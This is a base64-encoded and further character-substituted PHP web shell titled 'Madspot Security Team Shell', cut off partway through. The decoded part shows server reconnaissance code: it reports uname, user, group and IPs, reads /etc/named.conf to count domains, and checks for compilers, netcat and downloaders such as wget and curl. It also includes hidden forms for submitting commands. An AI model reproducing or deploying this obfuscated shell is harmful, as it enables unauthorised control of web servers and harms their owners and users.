Cg0KDQoNCg0KDQogNWNoMiAnPCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9Xb0MvL0RURCBYSFRNTCA2LjAgVHIxbnM0dDQybjFsLy9FTiIgImh0dHA6Ly93d3cud28uMnJnL1RSL3hodG1sNi9EVEQveGh0bWw2LXRyMW5zNHQ0Mm4xbC5kdGQiPg0KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cud28uMnJnLzY5OTkveGh0bWwiPg0KPGg1MWQ+DQo8bTV0MSBodHRwLTVxMzR2PSJDMm50NW50LVR5cDUiIGMybnQ1bnQ9InQ1eHQvaHRtbDsgY2gxcnM1dD0zdGYtOCIgLz4NCjxsNG5rIGhyNWY9Imh0dHA6Ly93d3cubTFkc3AydC5uNXQvZjF2NGMybi40YzIiIHI1bD0iNGMybiIgdHlwNT0iNG0xZzUveC00YzJuIi8+DQo8dDR0bDU+TTFkc3AydCBTNWMzcjR0eSBUNTFtIFNoNWxsPC90NHRsNT4NCjxzdHlsNSB0eXA1PSJ0NXh0L2NzcyI+DQo8IS0tDQoud2gybDUgew0KCWIxY2tncjIzbmQtYzJsMnI6ICNDQ0M7DQoJaDU0Z2h0OjEzdDI7DQoJdzRkdGg6IDEzdDI7DQoJbTFyZzRuLXQycDogNjBweDsNCgltMXJnNG4tcjRnaHQ6IDYwcHg7DQoJbTFyZzRuLWw1ZnQ6IDYwcHg7DQp9DQouaDUxZDVyIHsNCgloNTRnaHQ6IDEzdDI7DQoJdzRkdGg6IDEzdDI7DQoJYjJyZDVyOiA3cHggczJsNGQgI0NDQzsNCgljMmwycjogIzk5OTsNCglmMm50LXM0ejU6IDZhcHg7DQoJZjJudC1mMW00bHk6IFY1cmQxbjEsIEc1bjV2MSwgczFucy1zNXI0ZjsNCgliMWNrZ3IyM25kLWMybDJyOiAjMDAwOw0KfQ0KLmg1MWQ1ciAxIHtjMmwycjojMEYwOyB0NXh0LWQ1YzJyMXQ0Mm46bjJuNTt9DQpzcDFuIHsNCglmMm50LXc1NGdodDogYjJsZDVyOw0KCWMybDJyOiAjRkZGOw0KfQ0KI201M25sNHN0IHsNCglmMm50LWYxbTRseTogVjVyZDFuMSwgRzVuNXYxLCBzMW5zLXM1cjRmOw0KCWMybDJyOiAjRkZGOw0KCWIxY2tncjIzbmQtYzJsMnI6ICMwMDA7DQoJdzRkdGg6IDEzdDI7DQoJYjJyZDVyLXI0Z2h0LXc0ZHRoOiA3cHg7DQoJYjJyZDVyLWw1ZnQtdzRkdGg6IDdweDsNCgliMnJkNXItdDJwLXN0eWw1OiBzMmw0ZDsNCgliMnJkNXItcjRnaHQtc3R5bDU6IHMybDRkOw0KCWIycmQ1ci1iMnR0Mm0tc3R5bDU6IHMybDRkOw0KCWIycmQ1ci1sNWZ0LXN0eWw1OiBzMmw0ZDsNCgliMnJkNXItdDJwLWMybDJyOiAjQ0NDOw0KCWIycmQ1ci1yNGdodC1jMmwycjogI0NDQzsNCgliMnJkNXItYjJ0dDJtLWMybDJyOiAjQ0NDOw0KCWIycmQ1ci1sNWZ0LWMybDJyOiAjQ0NDOw0KCWg1NGdodDogMTN0MjsNCglmMm50LXM0ejU6IDZhcHg7DQoJZjJudC13NTRnaHQ6IGIybGQ7DQoJYjJyZDVyLXQycC13NGR0aDogMHB4Ow0KfQ0KICAud2gybDUgI201M25sNHN0IDNsIHsNCglwMWRkNG5nLXQycDogaXB4Ow0KCXAxZGQ0bmctcjRnaHQ6IGlweDsNCglwMWRkNG5nLWIydHQybTogN3B4Ow0KCXAxZGQ0bmctbDVmdDogYXB4Ow0KCXQ1eHQtMWw0Z246YzVudDVyOw0KCWw0c3Qtc3R5bDUtdHlwNTogbjJuNTsNCgltMXJnNG46IDBweDsNCn0NCiAgLndoMmw1ICNtNTNubDRzdCBsNCB7DQoJbTFyZzRuOiAwcHg7DQoJcDFkZDRuZzogMHB4Ow0KCWQ0c3BsMXk6IDRubDRuNTsNCn0NCiAgLndoMmw1ICNtNTNubDRzdCAxIHsNCiAgICBmMm50LWYxbTRseTogMXI0MWwsIHMxbnMtczVyNGY7DQoJZjJudC1zNHo1OiA2dXB4Ow0KCXQ1eHQtZDVjMnIxdDQybjpuMm41Ow0KCWYybnQtdzU0Z2h0OiBiMmxkOw0KCWMybDJyOiAjZmZmOw0KCWNsNTFyOiBiMnRoOw0KCXc0ZHRoOiA2MDBweDsNCgltMXJnNG4tcjRnaHQ6IC1lcHg7DQoJcDFkZDRuZy10MnA6IG9weDsNCglwMWRkNG5nLXI0Z2h0OiA2aXB4Ow0KCXAxZGQ0bmctYjJ0dDJtOiBvcHg7DQoJcDFkZDRuZy1sNWZ0OiA2aXB4Ow0KCWIycmQ1ci1yNGdodC13NGR0aDogNnB4Ow0KCWIycmQ1ci1yNGdodC1zdHlsNTogczJsNGQ7DQoJYjJyZDVyLXI0Z2h0LWMybDJyOiAjRkZGOw0KfQ0KICAud2gybDUgI201M25sNHN0IDE6aDJ2NXIgew0KCWMybDJyOiAjMDAwOw0KCWIxY2tncjIzbmQ6ICNmZmY7DQp9DQoNCi5mMjJ0IHsNCglmMm50LWYxbTRseTogVjVyZDFuMSwgRzVuNXYxLCBzMW5zLXM1cjRmOw0KCWIxY2tncjIzbmQtYzJsMnI6ICMwMDA7DQoJbTFyZzRuOiAwcHg7DQoJcDFkZDRuZzogMHB4Ow0KCXc0ZHRoOiA2MDAlOw0KCXQ1eHQtMWw0Z246IGM1bnQ1cjsNCglmMm50LXM0ejU6IDZhcHg7DQoJYzJsMnI6ICNDQ0M7DQoJYjJyZDVyLXI0Z2h0LXc0ZHRoOiA3cHg7DQoJYjJyZDVyLWw1ZnQtdzRkdGg6IDdweDsNCiAgICBiMnJkNXItYjJ0dDJtLXc0ZHRoOiA3cHg7DQogICAgYjJyZDVyLWIydHQybS1zdHlsNTogczJsNGQ7DQogICAgYjJyZDVyLXI0Z2h0LXN0eWw1OiBzMmw0ZDsNCiAgICBiMnJkNXItcjRnaHQtc3R5bDU6IHMybDRkOw0KCWIycmQ1ci1sNWZ0LXN0eWw1OiBzMmw0ZDsNCgliMnJkNXItdDJwLWMybDJyOiAjQ0NDOw0KCWIycmQ1ci1yNGdodC1jMmwycjogI0NDQzsNCgliMnJkNXItYjJ0dDJtLWMybDJyOiAjQ0NDOw0KCWIycmQ1ci1sNWZ0LWMybDJyOiAjQ0NDOw0KfSc7DQo0Zig0c193cjR0MWJsNSgkR0xPQkFMU1snY3dkJ10pKQ0KIHsNCiAgICA1Y2gyICIuZjIydHQxYmw1IHsNCiAgICB3NGR0aDogbzAwcHg7DQogICAgZjJudC13NTRnaHQ6IGIybGQ7DQogICAgfSI7fQ0KICAgIDVsczUNCiAgICB7DQogICAgICAgNWNoMiAiLmYyMnR0MWJsNSB7DQogICAgdzRkdGg6IG8wMHB4Ow0KICAgIGYybnQtdzU0Z2h0OiBiMmxkOw0KICAgIGIxY2tncjIzbmQtYzJsMnI6cjVkOw0KICAgIH0NCiAgICAuZDRyIHsNCiAgICAgIGIxY2tncjIzbmQtYzJsMnI6cjVkOyAgDQogICAgfQ0KICAgICI7IA0KICAgIH0gICAgDQogNWNoMiAnLm0xNG4gdGh7dDV4dC0xbDRnbjpsNWZ0O30NCiAubTE0biAxe2MybDJyOiAjRkZGO30NCiAubTE0biB0cjpoMnY1cntiMWNrZ3IyM25kLWMybDJyOnI1ZDt9DQogLm1sNnsgYjJyZDVyOjZweCBzMmw0ZCAjdXV1O3AxZGQ0bmc6aXB4O20xcmc0bjowOzJ2NXJmbDJ3OiAxM3QyOyB9DQogLmI0ZzFyNTF7IHc0ZHRoOjk5JTsgaDU0Z2h0Om8wMHB4OyB9ICAgDQogIDwvc3R5bDU+DQoNCic7DQoNCjVjaDIgIjxzY3I0cHQ+DQogICAgdjFyIGNfID0gJyIgLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkgLiAiJzsNCiAgICB2MXIgMV8gPSAnIiAuIGh0bWxzcDVjNDFsY2gxcnMoQCRfUE9TVFsnMSddKSAuIicNCiAgICB2MXIgY2gxcnM1dF8gPSAnIiAuIGh0bWxzcDVjNDFsY2gxcnMoQCRfUE9TVFsnY2gxcnM1dCddKSAuIic7DQogICAgdjFyIHA2XyA9ICciIC4gKChzdHJwMnMoQCRfUE9TVFsncDYnXSwiXG4iKSE9PWYxbHM1KT8nJzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSxFTlRfUVVPVEVTKSkgLiInOw0KICAgIHYxciBwYV8gPSAnIiAuICgoc3RycDJzKEAkX1BPU1RbJ3BhJ10sIlxuIikhPT1mMWxzNSk/Jyc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3BhJ10sRU5UX1FVT1RFUykpIC4iJzsNCiAgICB2MXIgcG9fID0gJyIgLiAoKHN0cnAycyhAJF9QT1NUWydwbyddLCJcbiIpIT09ZjFsczUpPycnOmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwbyddLEVOVF9RVU9URVMpKSAuIic7DQogICAgdjFyIGQgPSBkMmMzbTVudDsNCglmM25jdDQybiBzNXQoMSxjLHA2LHBhLHBvLGNoMXJzNXQpIHsNCgkJNGYoMSE9bjNsbClkLm1mLjEudjFsMzU9MTs1bHM1IGQubWYuMS52MWwzNT0xXzsNCgkJNGYoYyE9bjNsbClkLm1mLmMudjFsMzU9Yzs1bHM1IGQubWYuYy52MWwzNT1jXzsNCgkJNGYocDYhPW4zbGwpZC5tZi5wNi52MWwzNT1wNjs1bHM1IGQubWYucDYudjFsMzU9cDZfOw0KCQk0ZihwYSE9bjNsbClkLm1mLnBhLnYxbDM1PXBhOzVsczUgZC5tZi5wYS52MWwzNT1wYV87DQoJCTRmKHBvIT1uM2xsKWQubWYucG8udjFsMzU9cG87NWxzNSBkLm1mLnBvLnYxbDM1PXBvXzsNCgkJNGYoY2gxcnM1dCE9bjNsbClkLm1mLmNoMXJzNXQudjFsMzU9Y2gxcnM1dDs1bHM1IGQubWYuY2gxcnM1dC52MWwzNT1jaDFyczV0XzsNCgl9DQoJZjNuY3Q0Mm4gZygxLGMscDYscGEscG8sY2gxcnM1dCkgew0KCQlzNXQoMSxjLHA2LHBhLHBvLGNoMXJzNXQpOw0KCQlkLm1mLnMzYm00dCgpOw0KCX08L3NjcjRwdD4iOw0KDQogICAgDQoJNWNoMiAnDQo8L2g1MWQ+DQoNCjxiMmR5IGJnYzJsMnI9IiMwMDAwMDAiICBsNWZ0bTFyZzRuPSIwIiB0MnBtMXJnNG49IjAiIG0xcmc0bnc0ZHRoPSIwIiBtMXJnNG5oNTRnaHQ9IjAiPg0KPGQ0diBjbDFzcz0id2gybDUiPg0KPGYycm0gbTV0aDJkPXAyc3QgbjFtNT1tZiBzdHlsNT0iZDRzcGwxeTpuMm41OyI+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Yz4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXA2Pg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cGE+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wbz4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQ+DQo8L2Yycm0+DQogIDxkNHYgY2wxc3M9Img1MWQ1ciI+PHQxYmw1IHc0ZHRoPSI2MDAlIiBiMnJkNXI9IjAiICAxbDRnbj0ibDRmdCI+DQogIDx0cj4NCiAgICA8dGQgdzRkdGg9Im8lIj48c3Axbj5VbjFtNTo8L3NwMW4+PC90ZD4NCiAgICA8dGQgYzJsc3Axbj0iYSI+Jy5zM2JzdHIoQHBocF8zbjFtNSgpLCAwLCA2YTApLic8L3RkPg0KICAgIDwvdHI+DQogIDx0cj4NCiAgICA8dGQ+PHNwMW4+VXM1cjo8L3NwMW4+PC90ZD4NCiAgICA8dGQ+Jy4gJDM0ZCAuICcgWyAnIC4gJDNzNXIgLiAnIF0gPHNwMW4+ICAgR3IyM3A6IDwvc3Axbj4nIC4gJGc0ZCAuICcgWyAnIC4gJGdyMjNwIC4gJyBdIDwvdGQ+DQogICAgPHRkIHc0ZHRoPSI2dSUiIHIyd3NwMW49IjgiPjw0bWcgMWx0PSIiIHNyYz0iZDF0MTo0bTFnNS9qcDVnO2IxczVldSwvOWovdUFBUVNrWkpSZ0FCQVFBQUFRQUJBQUQvYXdDRUFCRU1EUThOQ3hFUERnOFRFaEVWRzRzY0doZ1lHalVtS0I4clB6ZENRVHVvUER0RlRtTlVSVWw1U3pzOFZuWlhYbWRxYm9CdlE2TmVnb2xzZ21OdGJhc0JFaE1UR2hjMU14d2NNYXRIUEVkcjFhdHIxYXRyMWF0cjFhdHIxYXRyMWF0cjFhdHIxYXRyMWF0cjFhdHIxYXRyMWF0cjFhdHIxYXRyMWF0cjFhdHIxLy9BQUJFSUFJOEFqd01CRVFBQ0VRRURFUUgveEFHNEFBQUJCUUVCQVFFQkFRQUFBQUFBQUFBQUFRSURCQVVHQndnSkNnc1FBQUlCQXdNQ0JBTUZCUVFFQUFBQmZRRUNBd0FFRVFVU0lURkJCaE5SWVFjNGNSUXlnWkdoQ0NOQ3NjRVZVdEh3SkRONGMySUpDaFlYR0JrMUpTWW5LQ2txTkRVYU56Z2lPa05FUlVaSFNFbEtVNlJWVmxkWVdWcGpaR1ZtWmFocDFuTjBkWFpvNUhsZWd1U0ZoMjVJNFlxU2tpU1ZscDVZbVpxNDJlU2xwcTUycTFxeXM3UzZ0cjV1M2JyQ3c4VEZ4c2ZJeWNyUzA5VFY2dGZZYWRyaHUzUGtpNWJuZU9ucThmTHo5UFhhOS9qaStnRUFBd0VCQVFFQkFRRUJBUUFBQUFBQUFBRUNBd1FGQmdjSUNRMkxFUUFDQVFJRUJBTUVCd1VFQkFBQkFuY0FBUUlERVFRRklURUdFa0ZSQmFGeEV5SXlnUWdVUXBHaHNjRUpJek5TOEJWNGN0RUtGNFEwdVNYeEZ4Z1pHNFluS0NrcU5UWW9PRGtlUTBSRlJrZElTVXBUVkZWV1Y2aFpXbU5rWldabjFHbHFjb1I2ZG5kdTVYcUNndVNGaDI1STRZcVNraVNWbHA1WW1acTQyZVNscHE1MnExcXlzN1M2dHI1dTNickN3OFRGeHNmSXljclMwOVRWNnRmWWFkcjR1K1RsaTNmMmU1cnk4L1Q2OXZmdStmci9hZ0FNQXdFQUFoRURFUUEvQU9PdExKcmtGdGE2UldjZW5LWlZLNGdXdjdJL2ViZnBXYnIrUmg5MVhZUDdJSC9QYjlLWHQvSWY2bE43Rm1Qd3V6MkdNdUc1eEZaeXg0WFF0VnZJamJ3aWNqN3NzWi9NVlN4Y0MvMTJ6THE2bHRKZkxtWERWMHdtcEtlTGpKUFlZRUFIem5GVVVHYVArOGZ5MkFBc2Y5dS9sUUJJTGJQUW1nQkd0WkFNZ1pGQUVCR0RRQjVqMHlXU01QM1VaaXcxeWRXS1pqS3ZHTEhmYVROL2ZTbDdaR2Y2cUlEU1pqMFpjbWtlOFVOWW1MWllIaGE3SXozakh1NkR4Y0RUYXFBK0hic0FrTkdmMjExeFVHSHRVWmM4THdTR09RWVlWMFJrcEtlTkU3cWlzZVlBTEpDT2lPMWlLb3hIbnVsKy9ZdDZrY3dpT1dVNTlKN0RqM2JIUzNLV3JPeEpCVWo5VEc4UkluYWRYS2czQ0FEK041aGdtOVUxMGptWkQrOGJlNmVKM00yQWtoLzZxMEFYbGUwQVRMUUJRM3dFM2pnZDNsQUc3R01SSVBZVmk4dFc1VFZmdk1kU015NXpBTnczUldjN2FMcDdtblhJZFlVa0lpVHhKL3lFQi8zQ3Zad284TkhUUytFczFkL3hpUi9qL09zcXZ4c3VjVDhaWnJNaWh5ZmZYZTRsTHVTMjdteFhDOXpzUVVETWJ4R1I5bmpIcXdyME1INk4xUnpNbitzYmU2ZUIzTTJBa2cvNnEwQVhrMkFtV2dDamZmOEFIeitBMkFvSXY5VW4rZUt1SmJua1ZQNFllcE15eFpmOGZDL1E2blVhTjFXaXBWeG5VRk1EbGZFdi9JUVgvY3I2OEwvRE80bjhKUHBvL0hsSCtQOEFPc2V2eHN1Y1Q4WlpyTWloeWZmWGU0bEx1UzI3bXhYQzl6c1FVaG1IdWsrN0NmNXZSd1hVNnBIT1MvZXh2clgyR3V5Z0NTRC9BRnEwQVhsMkFtV2dDamZmOGZYdUNnRGJoaWdqL3dCMGZ5cmdsMzVSVitKamVrekxGbC94OEw5RFdkVFk2cGJtbFhHZFFVd09WOFMvOGhCZjl5dlh3djhBRE80bjhKTnBwLzBKUHgvblVWdmpPSEUvR1dxeU9ZY25vNit0VExZcU9pc1Z4U29PeEJTOGdNVHhIL3Eydjl1VmVPRDAzYlVqbWlmOVlvNnIwRGNaUUJKQi9yVjJBdkxRQk10QUZHKy91K3Z3RkFHb0IvcUl2OXdmeXJnbjhSaU5YdWFQcWJtUllzditQZ2ZRNm5VYU5LNWlwVnhuV0ZNR2NydWwvd0NRZ3Y4QTNWZStGL2huUlMrRWdzcjliNVB5b1VrRHA0cnFVK1pvSXEwNWZVdGpWTGNqbmNEOUt5OWpJaS9xcnYzSDlwYW9xL2lVNXdrUGVxMHlhbjRHb1ZBR1ZtSTd1eFdMd2ttMXFrMEI4U1FkMlh6OTFQcVQ3ajlreko2SFVtdnBsWWoxNDlCWFhSMnFtckdzSThwWGtnTEVzcEJCaXptdDR4bmtQN2ZuUUFxdzNyQThjVUFXbFlEcURRQklzNCtoSkZBRktlZk1hdS81N3U3VUExRnBxRUloVlpHS2xRQjBybm5TMzlEa3F1Zm1kMFQvQU4yV28vUFQ5S3o5akl5K3JTSEpxZDNqaGxsaUh0U2RDVFF1dTVTWmNHdldtT1NjKzZZZlZKR3lweUVmWDdSVUpYSlBwVFdEbDZHcVQzYzdxTnViYWlNcEdCakFGNWhUaHlSc2JSVmtUZWIxSk4za2xHaVJ3RnpVNktqajJqS3RWaUVYaFlXMi93Q1dRL09zUDF6T1hleklYN0IxL3dEUElmbTFQMXpEZXpJdHcxSjFQR0hkTVo3QTZoTEZUVE5sVmt5VCt3ckwrdWZ6cWZyY3luVVpsMXpwc1ZuR0hqR0FUeFhaUXJPMnRUU25QbUk3T3hqMU5Ya1VuSXpUcVZXdEVaVjE3NDdJdGZZYmIvbmwrcHJQYXN6RGV6TUJwOXNUZ1JjL1Uwbldta05ZNFRMeWVGWjdSM1VpN3VOWXZGVE5sVmtML1lWbGo3cmZuVS9XaWo5cXpBNk8wUzZ2QkMyd09QMjE5Q2xQbmhjYWhMbVZ5cExzRGtLM0JtdFN4bVIvZDJBVlFHWUFMeTFBTEtheUhybk5BRHpaSVI4cE8xQUtVNEdOeXJkUlFCcmVSL3g3dC92Vnk2LzRPSEY3MnY2Z2NRR2t4cmNhSS84QVZyOUt1cGJuWkhZZFVqTVh4Ti94aXgvNzZkK0NvWnJTb0lyVC9qNjQvd0IwVnBQdW1jVmZ1YVM2R2k0U1cvOEFydS9yVVNhTGgzMTZjVE94YkJSMkxjaXZ4SVA5TGhONXJnL2dPNGxzWWtub2ErdGRocU0yQWx0LzlaK0ZBRjZLQUpsMkEyWC9BUHg4SGVDZ0RRMGovam9iZTZ5Ni80T0hGYjJ2NmdjUUhwU1l1N214SC9xNitncjRsM2RrZGg2U1VZdjRiL2owai9vcTdzRjhUTjFXaUYxLzg1c1grZUs2bjhUT0d2OEFHUzZCNFNXLyt2ait0VFB1U3VibXRYQ2RnVXdPZDhTWSswUTV0NXBnL2dadlNhTUtUL1dOOTE3VFVaU0FsdC85WitGQUY2S0FKbDJBMmVnZm8rUFlVQTFPbERGbURlazZ5VnY0T0RGYjIzNjRjWWRxVEhIY2FJLzlXdjByNGwzZHNkaDZJWjQrSnY4QWowai9BTmUzb0JmRXpTbDNSV3YvQUJleGY3MnJXZnhNdXEveGt0UVlrbHYvQUsrUGU2TS9oTGgzMTZjSmFCVEFpenhKL3dBZk1GNXBnL2dadlNhTU9UL1dIZTZhbTJ5a0JMYi9BT3MvQ2dDZXRBRXkwQVVML3dEdStQd0ZBR2pwTGdheFQzcGlybHJwbzNjT0tXcVo1ckF1dzdVbnNDb041TG1KU1BTM0s1aWFSYUg2SlI0K0p2OEFqMGpIZmRYZmdyb1pwU29JclQvajY0L29SV2xUdW1jVmZ1YVM2QjRTVy9FeUU5TTZFcjhwY1A0TjEzTmVIV0ZJYk9kOFNEL1NZVCtGNXJnNjczcHZTYU1LWC9XTjkxN0RVWlFCSkFmb2cyQXZMUUJNdEFGQy9PYmdqMEEyQVMwM1d0cE55amNDTUVWTTJLU3NST0Ntck10dHEwbjFJQ3N2WTJ4K3JSQmRXay80alUwNXc0TGV0RXN4K0lINFgxc1J4N21zb2hJc3BVRTMyLzhBdVNTVC9uNEtYNlNQY3JhU00vVU5SNTlQS3UrcHI1blRVRjIxUjRrT3RyZVdKRlh5ZHdBd09hMWNxMVpFZU1aMWsvOEExVC84K3gvT3MvWUwzWmZWMjRIVmNIQmdJUDYyOWdnV0dTTENlL2NBQUNESUhyV2Y2U0xMVkZEanI4aVVqN1BndXVOQ3drZDdqOWtqSnZMM1d1bEJjRUFISUJycGhCUlZrMXFLU0ErWElOYXh3U09nSEZXTVppU2ZvWC9LZ0JmTFFkRmY4cUFKUklSYWIvdm1nQlRjTXFuQVlmOEFBMUFLTHNYWXM1cDJBQnh6UUEzOXZXZ0JRekVnWjJBM0k0Z0FFWlB2UUJLczFIK0FVQVF6YWVDUk1jWkkvblFCRmN5TmlyQUhBQndCUUJCaWpmb2pRQWlXZG1Bb0htZ0N1NGoyUm1nQ1ZVUTlWMkFqblFDSXFSbjFRVko5RGEyQXFTeU52SXowOUtBSS9NYis4MUFIeGxuY0RjMUFMMTJ2cFFCS0kwUEJVYzBBWjl6SGlVekxhN1VBUjlxQUUyQWRIOTlmclFCZldnQ1oxQUdYSCtzNCsyL25RQlEzZjk1LzZOQUVWQUR1ZjlZdjYyQXZMUUJNbEFETG43ai9BUEFmaTBBWnNuK3NQNjJBYlFCTGIvZXo4S0FMcTBBU3JRQlI2RC9qdXo3Q2dDMzFBRTJBY25vNit0QUY5NXRBRXkwQU0zUHZ4ZlVmejJBMlhQOEFybytwMkE0MkFmRC9BSzYxQUx5MEFUTFFBeXUrdS84QXdIK2RBR2JKOTl2clFBYWdDV0QvQUZudVVBWFYyQW1XZ0NqcUgrdi9BQTJBckdnQktBSEo5OWZyUUJmV2dDWjFBR1hIb3V2cVBpMEFVTG4vQUY3L0FGTkFFVkFEdWY4QVdyUUJmV2dDVjFBR1hIb0gvd0NBL3dBZUFNYVQ3N2ZXZ0J0QUVzSCtzL0NnQ2V0QUV5MEFVZFFQNy9Ic0tBS28xZ0JLQUZVdVlHZ0Mrbkl5T2xBRWU0Z0NLaWRWZE1rZktSbjhlQUtWeGhwV1lkQ2NpMkE0MkFmR2RycTFBTGU1NkFFcWQxQUk3Z2p5b091RGxSNmUwQVo4MnhJZnJRQXlnQ1NFaFpBVDAyQXZMUUJLT0JrOFVBWjZhdWtuWXIwZVVBUTBBRzFBRkJJMkFjSlhIUnNVQUxpOHY5ODBBTVo0eHl4elFBcTNWZVVBTzgwL29WL0tnQTgwL3dCNmZ5MkFVWERqcGdVQUw5cGs5MUFJb2MzY21nQndtWUFBZ0hIcUtBRHpUL2RYOHFBRHpUL2RYOHFBRiswUGF3S0FHdEs3REJZdTJBWlFCLy9aIiAvPjwvdGQ+DQogIDwvdHI+DQogIDx0cj4NCiAgICA8dGQ+PHNwMW4+UEhQOjwvc3Axbj48L3RkPg0KICAgIDx0ZD4nLkBwaHB2NXJzNDJuKCkuICcgICA8c3Axbj4gICBTMWY1IE0yZDU6Jy4kczFmNV9tMmQ1cy4nPC9zcDFuPjwvdGQ+DQogICAgPC90cj4NCiAgPHRyPg0KICAgIDx0ZD48c3Axbj5PM3IgSVA6PC9zcDFuPjwvdGQ+DQogICAgPHRkPicuQCRfU0VSVkVSWyJTRVJWRVJfQUREUiJdLicgICAgPHNwMW4+UzVydjVyIElQOjwvc3Axbj4gJy5AJF9TRVJWRVJbIlJFTU9URV9BRERSIl0uJzwvdGQ+DQogIDwvdHI+DQogIDx0cj4NCiAgICA8dGQ+PHNwMW4+V0VCUzo8L3NwMW4+PC90ZD4NCiAgICA8dGQgdzRkdGg9IjdlJSI+JzsNCiAgICANCiAgICA0ZigkR0xPQkFMU1snc3lzJ109PSczbjR4JykNCiAgICB7DQogICAgICAgICRkMG0xNG5zID0gQGY0bDUoIi81dGMvbjFtNWQuYzJuZiIpOw0KICAgICAgICA0ZighJGQwbTE0bnMpDQogICAgICAgIHsNCiAgICAgICAgICAgIDVjaDIgIkNBTlQgUkVBRCBuMW01ZC5jMm5mIjsNCiAgICAgICAgfQ0KICAgICAgICA1bHM1DQogICAgICAgIHsNCiAgICAgICAgICAkYzIzbnQ7ICANCiAgICAgICAgIGYycjUxY2goJGQwbTE0bnMgMXMgJGQwbTE0bikNCiAgICAgICAgIHsNCiAgICAgICAgICA0ZihANXI1ZygiejJuNSIsJGQwbTE0bikpDQogICAgICAgICAgew0KICAgICAgICAgIHByNWdfbTF0Y2hfMWxsKCcjejJuNSAiKC4qKSIjJywgJGQwbTE0biwgJGQybTE0bnMpOw0KICAgICAgICAgICBmbDNzaCgpOw0KICAgICAgICAgIDRmKHN0cmw1bih0cjRtKCRkMm0xNG5zWzZdWzBdKSkgPiBhKXsNCiAgICAgICAgIGZsM3NoKCk7DQogICAgICAgICAkYzIzbnQrKzsNCiAgICAgICAgICAgfSANCiAgICAgICAgICAgfQ0KICAgICAgICAgICB9DQogICAgICAgICAgIDVjaDIgIiRjMjNudCAgRDJtMTRucyI7DQogICAgICAgIH0NCiAgICB9DQogICAgNWxzNXsgNWNoMiJDQU5UIFJFQUQgfFc0bmQyd3N8Ijt9DQogICAgDQogICAgICA1Y2gyICc8L3RkPg0KICAgIDwvdHI+DQogICAgPHRyPg0KICAgIDx0ZCBoNTRnaHQ9IjZlIj48c3Axbj5IREQ6PC9zcDFuPjwvdGQ+DQogICAgPHRkPicubTFkUzR6NSgkdDJ0MWxTcDFjNSkuJyA8c3Axbj5GcjU1Ojwvc3Axbj4nIC4gbTFkUzR6NSgkZnI1NVNwMWM1KSAuICcgWycuICg0bnQpICgkZnI1NVNwMWM1LyR0MnQxbFNwMWM1KjYwMCkgLiAnJV08L3RkPg0KICAgIDwvdHI+JzsNCiAgDQogICAgIDRmKCRHTE9CQUxTWydzeXMnXT09JzNuNHgnICkNCnsNCiAgICA0ZighQDRuNF9nNXQoJ3MxZjVfbTJkNScpKQ0KICAgIHsNCiAgICANCiAgICA1Y2gyICc8dHI+PHRkIGg1NGdodD0iNjgiIGMybHNwMW49ImEiPjxzcDFuPlVzNWYzbCA6IDwvc3Axbj4nOw0KICAgICQzczVyZjNsID0gMXJyMXkoJ2djYycsJ2xjYycsJ2NjJywnbGQnLCdtMWs1JywncGhwJywncDVybCcsJ3B5dGgybicsJ3IzYnknLCd0MXInLCdnejRwJywnYno0cCcsJ2J6NHBhJywnbmMnLCdsMmMxdDUnLCdzMzRkcDVybCcpOw0KICAgICBmMnI1MWNoKCQzczVyZjNsIDFzICQ0dDVtKQ0KICAgICAgICAgNGYobTFkV2g0Y2goJDR0NW0pKQ0KICAgICAgICAgNWNoMiAkNHQ1bS4nLCc7DQogICAgICAgICA1Y2gyICc8L3RkPg0KICAgICAgICAgPC90cj4NCiAgICAgICAgICA8dHI+DQogICAgICAgICAgPHRkIGg1NGdodD0iMCIgYzJsc3Axbj0iYSI+PHNwMW4+RDJ3bmwyMWQ1cjo8L3NwMW4+JzsNCiAgICAgICAgIA0KICAgICAkZDJ3bmwyMWQ1cnMgPSAxcnIxeSgnd2c1dCcsJ2Y1dGNoJywnbHlueCcsJ2w0bmtzJywnYzNybCcsJ2c1dCcsJ2x3cC1tNHJyMnInKTsNCiAgICAgIGYycjUxY2goJGQyd25sMjFkNXJzIDFzICQ0dDVtYSkNCiAgICAgICA0ZihtMWRXaDRjaCgkNHQ1bWEpKQ0KICAgICAgICA1Y2gyICQ0dDVtYS4nLCc7DQogICAgICAgIDVjaDIgJzwvdGQ+DQogICAgICAgICAgICAgIDwvdHI+JzsNCiAgICAgICAgIA0KICAgICAgICAgIH0NCiAgICAgICAgICAgNWxzNSANCiAgICAgICAgICAgew0KICAgICAgICAgNWNoMiAnPHRyPjx0ZCBoNTRnaHQ9IjY4IiBjMmxzcDFuPSJhIj48c3Axbj4zczVmM2w6PC9zcDFuPic7IA0KICAgICAgICAgNWNoMiAnLS0tLS0tLS0tLS0tLS08L3RkPg0KICAgICAgICAgICA8L3RyPjx0ZCBoNTRnaHQ9IjAiIGMybHNwMW49ImEiPjxzcDFuPkQyd25sMjFkNXI6IDwvc3Axbj4tLS0tLS0tLS0tLS0tPC90ZD4NCiAgICAgICAgICAgICAgPC90cj4nOyAgDQogICAgICAgICB9DQp9DQo1bHM1DQp7DQogICA1Y2gyICc8dHI+PHRkIGg1NGdodD0iNjgiIGMybHNwMW49ImEiPjxzcDFuPlc0bmQydzo8L3NwMW4+JzsNCiAgIDVjaDIgbTFkRXgoJ3Y1cicpOw0KICAgNWNoMiAnPC90ZD4NCiAgICAgICAgIDwvdHI+IDx0cj4NCiAgICAgICAgPHRkIGg1NGdodD0iMCIgYzJsc3Axbj0iYSI+PHNwMW4+RDJ3bmwyMWQ1cjogPC9zcDFuPi0tLS0tLS0tLS0tLS08L3RkPg0KICAgICAgICAgICAgICA8L3RyPic7IA0KICAgIA0KfSAgDQogICAgDQogDQogNWNoMiAnPHRyPg0KICAgIDx0ZCBoNTRnaHQ9IjZlIiBjMmxzcDFuPSJhIj48c3Axbj5ENHMxY